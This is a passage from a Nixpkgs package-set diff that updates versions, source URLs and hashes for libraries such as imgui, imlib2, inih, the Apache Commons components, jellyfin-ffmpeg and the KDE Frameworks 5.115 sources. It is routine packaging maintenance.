"imgui"; - version = "1.90.2"; + version = "1.90.4"; src = fetchFromGitHub { owner = "ocornut"; repo = "imgui"; rev = "v${version}"; - sha256 = "sha256-0sqV1TgidSuZQLihRTUCd46jKIgwcOJlKjRyOvopqlo="; + sha256 = "sha256-7+Ay7H97tIO6CUsEyaQv4i9q2FCw98eQUq/KYZyfTAw="; }; dontBuild = true; diff --git a/pkgs/development/libraries/imlib2/default.nix b/pkgs/development/libraries/imlib2/default.nix index ab237d9dca000..cc1f6b5440483 100644 --- a/pkgs/development/libraries/imlib2/default.nix +++ b/pkgs/development/libraries/imlib2/default.nix @@ -31,11 +31,11 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "imlib2"; - version = "1.12.1"; + version = "1.12.2"; src = fetchurl { url = "mirror://sourceforge/enlightenment/${finalAttrs.pname}-${finalAttrs.version}.tar.xz"; - hash = "sha256-jCTS0YnE1a5gLb8vwPuxF6qSPqtsiDBB8P7spOjGd04="; + hash = "sha256-zEmTGiBWCWioZIycoHkIWXYIXqltWaAbHhfLVa8P/kI="; }; buildInputs = [ diff --git a/pkgs/development/libraries/impy/default.nix b/pkgs/development/libraries/impy/default.nix index 6d148dd146391..8682e95a57586 100644 --- a/pkgs/development/libraries/impy/default.nix +++ b/pkgs/development/libraries/impy/default.nix @@ -9,14 +9,14 @@ , libjpeg }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "impy"; version = "0.2"; src = fetchFromGitHub { owner = "bcampbell"; repo = "impy"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "sha256-0bHm3jawYgcIeF2COALWlypX7kvPw1hifB/W+TKcC4M="; }; @@ -40,5 +40,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} - +}) diff --git a/pkgs/development/libraries/inih/default.nix b/pkgs/development/libraries/inih/default.nix index 61bca95d9b2e7..91d27fbc675c4 100644 --- a/pkgs/development/libraries/inih/default.nix +++ b/pkgs/development/libraries/inih/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "inih"; - version = "57"; + version = "58"; src = fetchFromGitHub { owner = "benhoyt"; repo = pname; rev = "r${version}"; - hash = "sha256-a4nvhJSmZGqu2sdZSPNPjdnkzZ9dSKocL/XG2aDyFw4="; + hash = "sha256-b2f6hQvkmWgni/zdfv3I1b9ypd7zSyEBv/JVBA6K7/w="; }; nativeBuildInputs = [ meson ninja ]; diff --git a/pkgs/development/libraries/iso-codes/default.nix b/pkgs/development/libraries/iso-codes/default.nix index 5539a97f0ce6e..0b9b316f44336 100644 --- a/pkgs/development/libraries/iso-codes/default.nix +++ b/pkgs/development/libraries/iso-codes/default.nix @@ -1,11 +1,11 @@ -{ lib, stdenv, fetchurl, gettext, python3 }: +{ lib, stdenv, fetchurl, gettext, python3, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "iso-codes"; version = "4.16.0"; src = fetchurl { - url = "https://salsa.debian.org/iso-codes-team/iso-codes/-/archive/v${version}/${pname}-v${version}.tar.gz"; + url = with finalAttrs; "https://salsa.debian.org/iso-codes-team/iso-codes/-/archive/v${version}/${pname}-v${version}.tar.gz"; sha256 = "sha256-fJkPw5oFl1vtsBdeP/Cfw4MEiBX2i0Yqu/BVqAMuZsw="; }; @@ -13,10 +13,17 @@ stdenv.mkDerivation rec { enableParallelBuilding = true; + passthru.tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { homepage = "https://salsa.debian.org/iso-codes-team/iso-codes"; description = "Various ISO codes packaged as XML files"; license = licenses.lgpl21; platforms = platforms.all; + pkgConfigModules = [ "iso-codes" ]; }; -} +}) diff --git a/pkgs/development/libraries/java/commons/bcel/default.nix b/pkgs/development/libraries/java/commons/bcel/default.nix index 49cc12b2b33ec..f25f4a552b7c0 100644 --- a/pkgs/development/libraries/java/commons/bcel/default.nix +++ b/pkgs/development/libraries/java/commons/bcel/default.nix @@ -1,12 +1,12 @@ {lib, stdenv, fetchurl}: stdenv.mkDerivation rec { - version = "6.8.0"; + version = "6.8.1"; pname = "commons-bcel"; src = fetchurl { url = "mirror://apache/commons/bcel/binaries/bcel-${version}-bin.tar.gz"; - hash = "sha256-DdH+LcVY7C9sFqMY1UkMHRcAbtAsyINdTEmaj5Dr0OI="; + hash = "sha256-a7PqcVvS+7tHSU2uXi5gLpl82ZN9hA03VEnCnc5cnRc="; }; installPhase = '' diff --git a/pkgs/development/libraries/java/commons/compress/default.nix b/pkgs/development/libraries/java/commons/compress/default.nix index 53265baaf8fec..7827c1788dca6 100644 --- a/pkgs/development/libraries/java/commons/compress/default.nix +++ b/pkgs/development/libraries/java/commons/compress/default.nix @@ -1,12 +1,12 @@ { lib, stdenv, fetchurl }: stdenv.mkDerivation rec { - version = "1.25.0"; + version = "1.26.0"; pname = "commons-compress"; src = fetchurl { url = "mirror://apache/commons/compress/binaries/${pname}-${version}-bin.tar.gz"; - sha256 = "sha256-isxV/gTOjVQW3716cr8ZrlLnOn8YWWr6p1SHYlwhdvA="; + sha256 = "sha256-AXdkqMrzTtURpPXKOmXxo0RnfFtflcDf6mmVmqVFz5k="; }; installPhase = '' diff --git a/pkgs/development/libraries/java/commons/io/default.nix b/pkgs/development/libraries/java/commons/io/default.nix index 7c1c9f361145a..4c010829c6ff4 100644 --- a/pkgs/development/libraries/java/commons/io/default.nix +++ b/pkgs/development/libraries/java/commons/io/default.nix @@ -1,12 +1,12 @@ { lib, stdenv, fetchurl }: stdenv.mkDerivation rec { - version = "2.11.0"; + version = "2.15.1"; pname = "commons-io"; src = fetchurl { url = "mirror://apache/commons/io/binaries/${pname}-${version}-bin.tar.gz"; - sha256 = "sha256-9RXVNzjEhdYCYWbB9/xW3rm+gSOuD6+jwAO9zJVt4fk="; + sha256 = "sha256-nYoYGHetdd3vFryFXLxuvvSUCIs6VZyPwWb8s0h+edg="; }; installPhase = '' diff --git a/pkgs/development/libraries/java/jffi/default.nix b/pkgs/development/libraries/java/jffi/default.nix index b4351f4e9df9f..3ba336aa18e94 100644 --- a/pkgs/development/libraries/java/jffi/default.nix +++ b/pkgs/development/libraries/java/jffi/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "jffi"; - version = "1.3.12"; + version = "1.3.13"; src = fetchFromGitHub { owner = "jnr"; repo = "jffi"; rev = "jffi-${version}"; - sha256 = "sha256-U0pBoKewZEen7aH3rIvZ8dKKeXKE1+Z5WtfM0HK6/LQ="; + sha256 = "sha256-aBQkkZyXZkaJc4sr/jHnIRaJYP116u4Jqsr9XXzfOBA="; }; nativeBuildInputs = [ jdk ant texinfo pkg-config ]; diff --git a/pkgs/development/libraries/jellyfin-ffmpeg/default.nix b/pkgs/development/libraries/jellyfin-ffmpeg/default.nix index 6398f8b872d5f..fdce5118e6b3c 100644 --- a/pkgs/development/libraries/jellyfin-ffmpeg/default.nix +++ b/pkgs/development/libraries/jellyfin-ffmpeg/default.nix @@ -5,13 +5,13 @@ ffmpeg_6-full.overrideAttrs (old: rec { pname = "jellyfin-ffmpeg"; - version = "6.0.1-2"; + version = "6.0.1-3"; src = fetchFromGitHub { owner = "jellyfin"; repo = "jellyfin-ffmpeg"; rev = "v${version}"; - hash = "sha256-wc9OGwjcRDTDxlHYVTlbLe1B/F11z0Xcz6WRrO42zn4="; + hash = "sha256-UINiXO61nB/AL0HJJy7G7emujakk/mQv81aUioyJz0Y="; }; # Clobber upstream patches as they don't apply to the Jellyfin fork diff --git a/pkgs/development/libraries/jose/default.nix b/pkgs/development/libraries/jose/default.nix index 08fc7e6dc99e1..795fb8244c85f 100644 --- a/pkgs/development/libraries/jose/default.nix +++ b/pkgs/development/libraries/jose/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "jose"; - version = "11"; + version = "12"; src = fetchFromGitHub { owner = "latchset"; repo = pname; rev = "v${version}"; - hash = "sha256-TKcXswF50B8MS+XHSEvqHaFSAct7VdsnZ0RtZCF04Lc="; + hash = "sha256-MuYRgYskIT2rmd32gziCdiRwIWMKQ6iTx0Qm/jJI+Iw="; }; nativeBuildInputs = [ meson pkg-config ninja asciidoc ]; diff --git a/pkgs/development/libraries/kcolorpicker/default.nix b/pkgs/development/libraries/kcolorpicker/default.nix index 4647d65882cd6..9a96b92c12583 100644 --- a/pkgs/development/libraries/kcolorpicker/default.nix +++ b/pkgs/development/libraries/kcolorpicker/default.nix @@ -1,19 +1,29 @@ -{ lib, mkDerivation, fetchFromGitHub, cmake, qtbase }: +{ lib, stdenv, fetchFromGitHub, cmake, qtbase }: -mkDerivation rec { +let + isQt6 = lib.versions.major qtbase.version == "6"; +in stdenv.mkDerivation rec { pname = "kcolorpicker"; - version = "0.2.0"; + version = "0.3.0"; src = fetchFromGitHub { owner = "ksnip"; repo = "kColorPicker"; rev = "v${version}"; - sha256 = "sha256-ahmMj/yzQiRP9oJwDuhJGxe849kxNsoGFDZ2CGQNhKs="; + hash = "sha256-gkjlIiLB3/074EEFrQUa0djvVt/C44O3afqqNis64P0="; }; nativeBuildInputs = [ cmake ]; buildInputs = [ qtbase ]; + cmakeFlags = [ + (lib.cmakeBool "BUILD_WITH_QT6" isQt6) + (lib.cmakeBool "BUILD_SHARED_LIBS" true) + ]; + + # Library only + dontWrapQtApps = true; + meta = with lib; { description = "Qt based Color Picker with popup menu"; homepage = "https://github.com/ksnip/kColorPicker"; diff --git a/pkgs/development/libraries/kde-frameworks/fetch.sh b/pkgs/development/libraries/kde-frameworks/fetch.sh index a6797786ee539..358803e37355d 100644 --- a/pkgs/development/libraries/kde-frameworks/fetch.sh +++ b/pkgs/development/libraries/kde-frameworks/fetch.sh @@ -1 +1 @@ -WGET_ARGS=( https://download.kde.org/stable/frameworks/5.114/ -A '*.tar.xz' ) +WGET_ARGS=( https://download.kde.org/stable/frameworks/5.115/ -A '*.tar.xz' ) diff --git a/pkgs/development/libraries/kde-frameworks/srcs.nix b/pkgs/development/libraries/kde-frameworks/srcs.nix index d51c74cc4e64f..713e43920e7c9 100644 --- a/pkgs/development/libraries/kde-frameworks/srcs.nix +++ b/pkgs/development/libraries/kde-frameworks/srcs.nix @@ -4,667 +4,667 @@ { attica = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/attica-5.114.0.tar.xz"; - sha256 = "0gkdsm1vyyyxxyl4rni9s2bdz5w6zphzjl58fddjl899da06hqfq"; - name = "attica-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/attica-5.115.0.tar.xz"; + sha256 = "0n54m7sx2nagplr6ps9b3cvwy6cg0yqrba5xl90j1gg4ya14j1db"; + name = "attica-5.115.0.tar.xz"; }; }; baloo = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/baloo-5.114.0.tar.xz"; - sha256 = "19sib1y0m5h2gnnpr9rfk810p6pdfm4zzxlm0a44r7910llp8i50"; - name = "baloo-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/baloo-5.115.0.tar.xz"; + sha256 = "0261a7c81pavnq27ww5q5z8acpl18zr2nnfm2wx2zcy4xww21jwm"; + name = "baloo-5.115.0.tar.xz"; }; }; bluez-qt = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/bluez-qt-5.114.0.tar.xz"; - sha256 = "1ni50jwnb5ww8mkql0p3q8660c0srj8p0ik27lvxakwdq4wf6l9s"; - name = "bluez-qt-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/bluez-qt-5.115.0.tar.xz"; + sha256 = "18b4pjjgr9fbmdyacz8p078j6wm5vk5lkx18jikhrgkm84ad6zxx"; + name = "bluez-qt-5.115.0.tar.xz"; }; }; breeze-icons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/breeze-icons-5.114.0.tar.xz"; - sha256 = "0z5cpv10jyjdwjfkm7nj6hyp4vj29apm476hvbpb4gan27jyb91y"; - name = "breeze-icons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/breeze-icons-5.115.0.tar.xz"; + sha256 = "1f89dw05mfmlir8dvabnvxwszq1wqnrrgb7yw54wh7cnxah8gz64"; + name = "breeze-icons-5.115.0.tar.xz"; }; }; extra-cmake-modules = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/extra-cmake-modules-5.114.0.tar.xz"; - sha256 = "0z4nqravsfzlsgvkg5rha2d0qxfr3pfncw7z2fxzzqvzj7mfk6im"; - name = "extra-cmake-modules-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/extra-cmake-modules-5.115.0.tar.xz"; + sha256 = "1vj5rsq029qjp1by9cal715yza180lcxv1m0jn4nnljplbv3agpf"; + name = "extra-cmake-modules-5.115.0.tar.xz"; }; }; frameworkintegration = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/frameworkintegration-5.114.0.tar.xz"; - sha256 = "1dqgzhhh8gnvl8jsvh2i6pjn935d61avh63b4z9kpllhvp9a2lnd"; - name = "frameworkintegration-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/frameworkintegration-5.115.0.tar.xz"; + sha256 = "0vk3j6ivwk2y9jik54jxa4wm1c9179yrapia979a48zi5ibrlabf"; + name = "frameworkintegration-5.115.0.tar.xz"; }; }; kactivities = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kactivities-5.114.0.tar.xz"; - sha256 = "10pyynqz8c22la9aqms080iqlisj3irbi1kwnn3s0vg5dsjxr1p3"; - name = "kactivities-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kactivities-5.115.0.tar.xz"; + sha256 = "06wxmg085czrx2cyds7gwgdksvy5nchyshkgr2lxck20asjgn5p0"; + name = "kactivities-5.115.0.tar.xz"; }; }; kactivities-stats = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kactivities-stats-5.114.0.tar.xz"; - sha256 = "1zhrs2p3c831rwx7ww87i82k5i236vfywdxv7zhz93k3vffyqby7"; - name = "kactivities-stats-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kactivities-stats-5.115.0.tar.xz"; + sha256 = "0rp6j4nr4y5ijf4khsha98pvp8zy6fzjzhdjyj9z67jjpb045sd4"; + name = "kactivities-stats-5.115.0.tar.xz"; }; }; kapidox = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kapidox-5.114.0.tar.xz"; - sha256 = "0xxw3lvipyax8r1af3ypwjj6waarbp2z9n11fjb4kvyigsypglmb"; - name = "kapidox-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kapidox-5.115.0.tar.xz"; + sha256 = "0kp1z0cz60d6sb2wcqa3wawvqqijjyndyn21l2lrrdfz256m5fil"; + name = "kapidox-5.115.0.tar.xz"; }; }; karchive = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/karchive-5.114.0.tar.xz"; - sha256 = "015gc1zarny8r478p7g9m6r67l5dk3r0vcp28ilmfmznxy0k0hda"; - name = "karchive-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/karchive-5.115.0.tar.xz"; + sha256 = "0xdlsqkxsn3jjkbklhyys8sbbygg5f5qnfls5f0gk8gcig2m36g8"; + name = "karchive-5.115.0.tar.xz"; }; }; kauth = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kauth-5.114.0.tar.xz"; - sha256 = "1rkf9mc9718wn8pzd3d3wcg3lsn0vkr9a2cqnz86rbg3cf2qdbir"; - name = "kauth-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kauth-5.115.0.tar.xz"; + sha256 = "18jsygwkd4irdsz2lpdmsnjpj3dcz9fzajknl5z4csn6xxmzbaak"; + name = "kauth-5.115.0.tar.xz"; }; }; kbookmarks = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kbookmarks-5.114.0.tar.xz"; - sha256 = "06lnsyjhh80mdcqjww40glinmrjydbmkhv27a267vf34r7kam9rc"; - name = "kbookmarks-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kbookmarks-5.115.0.tar.xz"; + sha256 = "1h6yihcc0jczi51imw4a3zvyglvvzaksc1yjam44via84nli2kqn"; + name = "kbookmarks-5.115.0.tar.xz"; }; }; kcalendarcore = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcalendarcore-5.114.0.tar.xz"; - sha256 = "0aimda01zqw4fz5ldvz4vh767bi10r00kvm62n89nxhsq46wlk7p"; - name = "kcalendarcore-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcalendarcore-5.115.0.tar.xz"; + sha256 = "18sl7yg8xsnba6aar7q1w31jsxsmhz9d4hv67m1w86qv8wn8gn2r"; + name = "kcalendarcore-5.115.0.tar.xz"; }; }; kcmutils = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcmutils-5.114.0.tar.xz"; - sha256 = "1pblf3c60m0gn3vhdprw28f8y54kij02jwz91r2vnmng8d1xkrp9"; - name = "kcmutils-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcmutils-5.115.0.tar.xz"; + sha256 = "07jx2yc820d9xj5pcywx7nwccm5f1r7wjgqvjr6l3d9irjpm54q3"; + name = "kcmutils-5.115.0.tar.xz"; }; }; kcodecs = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcodecs-5.114.0.tar.xz"; - sha256 = "080zvcqd8iq05p5x3qaf3rryx75lg2l2j1dr18sp50ir50zfwh2w"; - name = "kcodecs-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcodecs-5.115.0.tar.xz"; + sha256 = "1gq4335w4bxz0al7diql5mlam7vgvvwdvm0iy3hqr6czk135wf4l"; + name = "kcodecs-5.115.0.tar.xz"; }; }; kcompletion = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcompletion-5.114.0.tar.xz"; - sha256 = "0qvdxqlh1dklkbmqfjg5gc3dkdicgzn6q5lgvyf8cv46dinj6mwc"; - name = "kcompletion-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcompletion-5.115.0.tar.xz"; + sha256 = "1iqdf67mcmf1vq0z2c13gzvrssywrp8nqa4lwshwi2amag4sad5i"; + name = "kcompletion-5.115.0.tar.xz"; }; }; kconfig = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kconfig-5.114.0.tar.xz"; - sha256 = "0hghdh4p6cq9ckp4g5jdgd8w47pdsxxvzimrdfjrs71lmy8ydiy2"; - name = "kconfig-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kconfig-5.115.0.tar.xz"; + sha256 = "04l6g2qy2qc3ykwvx2gbikgsh9n3rnz05m72n47lmianvwm2nsdx"; + name = "kconfig-5.115.0.tar.xz"; }; }; kconfigwidgets = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kconfigwidgets-5.114.0.tar.xz"; - sha256 = "16layydkcwfbvzxqjzprkq8bbxifn0z0wm7mc9bzwrfxy761rjnj"; - name = "kconfigwidgets-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kconfigwidgets-5.115.0.tar.xz"; + sha256 = "0nwmgva1zwfbr36slhziq4a84nhh4swckm6ajcg6imksv41k5nwd"; + name = "kconfigwidgets-5.115.0.tar.xz"; }; }; kcontacts = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcontacts-5.114.0.tar.xz"; - sha256 = "0lyqvbs216p5zpssaf4pyccph7nbwkbvhpmhbi32y2rm23cmxlwf"; - name = "kcontacts-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcontacts-5.115.0.tar.xz"; + sha256 = "1xwp77nzcjxrk97mqzyfc5b1zvv9s76fvhv6fb8wnmm80l21w7r7"; + name = "kcontacts-5.115.0.tar.xz"; }; }; kcoreaddons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcoreaddons-5.114.0.tar.xz"; - sha256 = "1wv3s3xsiii96k17nzs2fb0ih2lyg52krf58v44nlk9wfi4wmnqx"; - name = "kcoreaddons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcoreaddons-5.115.0.tar.xz"; + sha256 = "1jcriqndsbi1jpvb3pn2hs9cnq66v9qgpilsa7lqvnp9wg9y3l4c"; + name = "kcoreaddons-5.115.0.tar.xz"; }; }; kcrash = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kcrash-5.114.0.tar.xz"; - sha256 = "1avi4yd3kpjqxrvci1nicxbh9mjafj1w2vgfmqanq66b76s4kxj1"; - name = "kcrash-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kcrash-5.115.0.tar.xz"; + sha256 = "1b83dvmflvjiqhjz6i1b007ah4sg85d57mmz3m9zdyjicfygbsmj"; + name = "kcrash-5.115.0.tar.xz"; }; }; kdav = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kdav-5.114.0.tar.xz"; - sha256 = "11959fxz24snk2l31kw8w96wah0s2fjimimrxh6xhppiy5qp2fp2"; - name = "kdav-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kdav-5.115.0.tar.xz"; + sha256 = "02aqs24q4skh6ngm7bhkqqa3l1xf9bgxdr95v9mgc20hyavy22pv"; + name = "kdav-5.115.0.tar.xz"; }; }; kdbusaddons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kdbusaddons-5.114.0.tar.xz"; - sha256 = "0pzzznyxhi48z5hhdsdxz3vaaihrdshpx65ha2v2nn2gh3ww7ikm"; - name = "kdbusaddons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kdbusaddons-5.115.0.tar.xz"; + sha256 = "0x4vsw43irxy00mvda7kah0d3nrs1vgbimz6d9d2a8rzkf61vizc"; + name = "kdbusaddons-5.115.0.tar.xz"; }; }; kdeclarative = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kdeclarative-5.114.0.tar.xz"; - sha256 = "0w98pj8acxb4m9645963rzq5vja1fbih5czz24mf9zdqlg2dkz8g"; - name = "kdeclarative-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kdeclarative-5.115.0.tar.xz"; + sha256 = "0i530dij27g0w8rcqq81bml2dpacgd2czsjcx1dzf9i2x83arv36"; + name = "kdeclarative-5.115.0.tar.xz"; }; }; kded = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kded-5.114.0.tar.xz"; - sha256 = "00n4isc4ahii0ldrg761lkmnq27kmrfqs9zkmpvmgbg57259mvc3"; - name = "kded-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kded-5.115.0.tar.xz"; + sha256 = "1cr3mx5lkhp4zsr85n0cl5m9p1zgmwlvapdpyb161z5k6402mhla"; + name = "kded-5.115.0.tar.xz"; }; }; kdelibs4support = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kdelibs4support-5.114.0.tar.xz"; - sha256 = "17473him2fjfcw5f88diarqac815wsakfyb9fka82a4qqh9l41mc"; - name = "kdelibs4support-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kdelibs4support-5.115.0.tar.xz"; + sha256 = "051ga7jn18nwiybvvrkkfrw9csgi35g9wd4gajkzykq4r4bgm8kj"; + name = "kdelibs4support-5.115.0.tar.xz"; }; }; kdesignerplugin = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kdesignerplugin-5.114.0.tar.xz"; - sha256 = "0zlvkayv6zl5rp1076bscmdzyw93y7sxqb5848w11vs0g9amcj9n"; - name = "kdesignerplugin-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kdesignerplugin-5.115.0.tar.xz"; + sha256 = "1s788wz6i3ngk44a0fy9cp0vvidgp5f4yid470v85jfkpm1nxv50"; + name = "kdesignerplugin-5.115.0.tar.xz"; }; }; kdesu = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kdesu-5.114.0.tar.xz"; - sha256 = "14dcf32izn4lxr8vx372rfznflc1rcxwanx06phkd8mx9zyg4jxr"; - name = "kdesu-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kdesu-5.115.0.tar.xz"; + sha256 = "0qlbd7q69pdqc46ydpmn63sxac1lf9v0rllkj5ir49607fbbgqh3"; + name = "kdesu-5.115.0.tar.xz"; }; }; kdewebkit = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kdewebkit-5.114.0.tar.xz"; - sha256 = "04zc2qs13k04gsn124mnh6sqi3pax8c014jcb0qdh3h2r2y72bz3"; - name = "kdewebkit-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kdewebkit-5.115.0.tar.xz"; + sha256 = "039wcylnz1wx26r4d5bppzx51gknv3fj2xvw1mb5d29036dp9q1h"; + name = "kdewebkit-5.115.0.tar.xz"; }; }; kdnssd = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kdnssd-5.114.0.tar.xz"; - sha256 = "1zw5rkprr54j05ic8zljk57zahp2v6333slr253r3n1679zqlv64"; - name = "kdnssd-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kdnssd-5.115.0.tar.xz"; + sha256 = "1psjrvxnaw2r9fh2kikpbw71scch0b7vjdiwv0a8mhyr6g163qxj"; + name = "kdnssd-5.115.0.tar.xz"; }; }; kdoctools = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kdoctools-5.114.0.tar.xz"; - sha256 = "15s58r2zvdckw30x9q9ir8h1i8q2ncfgjn9h4jnmylwm79z3z27v"; - name = "kdoctools-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kdoctools-5.115.0.tar.xz"; + sha256 = "0hz25yfz64qabmd9gw8344ljzi8658483a3194rlbbswyw80ksai"; + name = "kdoctools-5.115.0.tar.xz"; }; }; kemoticons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kemoticons-5.114.0.tar.xz"; - sha256 = "0w87prkhdmba7y8ylbycdpwdzd2djmp7hvv5ljb9s4aqqhnn3vw4"; - name = "kemoticons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kemoticons-5.115.0.tar.xz"; + sha256 = "163p3mbmhzd0pzggh13kj0qrl7bid84pabb8p59w42f3rhzdv3fb"; + name = "kemoticons-5.115.0.tar.xz"; }; }; kfilemetadata = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kfilemetadata-5.114.0.tar.xz"; - sha256 = "15va29chlsrxii02w1ax718hp1b14ym59lcfyzh7w30zlf681560"; - name = "kfilemetadata-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kfilemetadata-5.115.0.tar.xz"; + sha256 = "03694d8sn0c5629llw6ikpcs0x7gj4nd08c6jh4zca4g0v3hxzgy"; + name = "kfilemetadata-5.115.0.tar.xz"; }; }; kglobalaccel = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kglobalaccel-5.114.0.tar.xz"; - sha256 = "19mmav055fnzyl760fyhf0pdvaidd5i1h04l2hcnpin4p1jnpfap"; - name = "kglobalaccel-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kglobalaccel-5.115.0.tar.xz"; + sha256 = "1hxcd6pbymmq7z8bwbhyykgd3r54gkwzlvg896ix9phdgm2dacy5"; + name = "kglobalaccel-5.115.0.tar.xz"; }; }; kguiaddons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kguiaddons-5.114.0.tar.xz"; - sha256 = "0riya9plcz9c1ndhdbsradssndshbm12705swn7vf7am17n7f947"; - name = "kguiaddons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kguiaddons-5.115.0.tar.xz"; + sha256 = "0qpj7yvvxv8dswmg8m4jgd6hk2r5m3702cvhgagqyb0qx8vdlvag"; + name = "kguiaddons-5.115.0.tar.xz"; }; }; kholidays = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kholidays-5.114.0.tar.xz"; - sha256 = "19r8dxglz5ll6iyvigsccil3ikvcsnyy5nwcpjvjr1c0brigcjmy"; - 